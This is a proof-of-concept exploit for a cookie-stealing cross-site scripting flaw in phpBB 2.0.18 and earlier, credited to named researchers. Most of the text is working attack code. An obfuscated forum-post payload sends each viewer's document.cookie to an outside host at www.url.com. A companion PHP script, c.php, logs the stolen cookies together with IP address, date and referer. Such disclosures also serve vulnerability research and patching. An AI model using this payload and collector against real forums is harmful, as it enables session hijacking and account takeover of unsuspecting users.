******************************************************************

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
        -- `HTML must be enabled on the forums
-- 'the html is on exploit'

original exploit by: Maksymilian Arciemowicz (cXIb8O3) - 12/16/2005
-- http://securityreason.com/securityalert/269/
proof of concept by: jet
-- http://jet.carbon-4.net/

develop a pure, lucid mind, not
depending upon sound, flavor,
touch, odor, or any quality.
- the diamond sutra

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phpbb code:

<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:epresionje(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='font-size:0; X="<B ">'</B>

c.php:

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer=getenv ('HTTP_REFERER');
 $fl = fopen('log.txt', 'a');
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
 fclose($fl);
?>